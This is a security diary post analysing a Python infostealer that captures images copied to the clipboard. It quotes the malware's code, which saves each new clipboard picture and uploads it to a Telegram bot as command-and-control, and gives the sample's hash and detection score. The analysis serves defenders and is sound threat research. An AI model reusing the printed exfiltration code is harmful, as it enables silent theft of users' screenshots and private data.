My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 27th - Oct 31st 2025

Clipboard Pictures Exfiltration in Python Infostealer

Published: 2025-10-15. Last Updated: 2025-10-15 05:41:49 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

For a while, clipboard content has been monitored by many infostealers. Purposes can be multiple, like simply searching and exfiltrating juicy data or on-the-fly modification like crypto-wallet swapping[1]. Note that the clipboard is a major risk when you don't disable clipboard sharing between your virtual machines and hosts. A malware running in a sandbox will access your (host) clipboard without problem!

The clipboard does not only carry text. Today, we use the clipboard to manipulate a lot of "binary data". After plain text, the most common data types are pictures! We take pictures every time and share them through the clipboard! Who has never grabbed pieces of screens like this? This is convenient when writing reports, documentation, or for archiving purposes.

I spotted a Python infostealer that pays attention to pictures exchanged with the clipboard. It's pretty easy to implement because the ImageGrab library has this feature built in [2]. Here is the piece of code implemented in the malware:

img = ImageGrab.grabclipboard()
if isinstance(img, Image.Image):
    img_bytes = io.BytesIO()
    img.save(img_bytes, format='PNG')
    img_hash = hashlib.md5(img_bytes.getvalue()).hexdigest()
    if img_hash != prev_clip_img_hash:
        img_path = "clipboard_img.png"
        img.save(img_path, "PNG")
        send_image(img_path)
        prev_clip_img_hash = img_hash

Telegram is used for C2 communications:

def send_image(image_path):
    if not bot_active or not os.path.exists(image_path):
        logging.warning(f"[send_image] T?p không t?n t?i: {image_path}")
        return
    try:
        with open(image_path, "rb") as photo:
            url = f"https://api.telegram.org/bot{TOKEN}/sendDocument"
            files = {"document": photo}
            data = {"chat_id": CHAT_ID}
            response = requests.post(url, files=files, data=data)
            if response.status_code != 200:
                logging.error(f"[send_image] L?i g?i ?nh: {response.text}")
    except Exception as e:
        logging.error(f"[send_image] G?i ?nh l?i: {e}")

Note the presence of Vietnamese text ("T?p không t?n t?i" means "File not found"). The file (SHA256:7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959) has a low VT score (5/64)[3].

[1] https://isc.sans.edu/diary/MultiCryptocurrency+Clipboard+Swapper/28574
[2] https://pillow.readthedocs.io/en/stable/reference/ImageGrab.html#PIL.ImageGrab.grabclipboard
[3] https://www.virustotal.com/gui/file/7c70f53ff1e05ee104403784f42819adb1e445c9d97b82cff72a986d59619959/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 27th - Oct 31st 2025

Comments


Diary Archives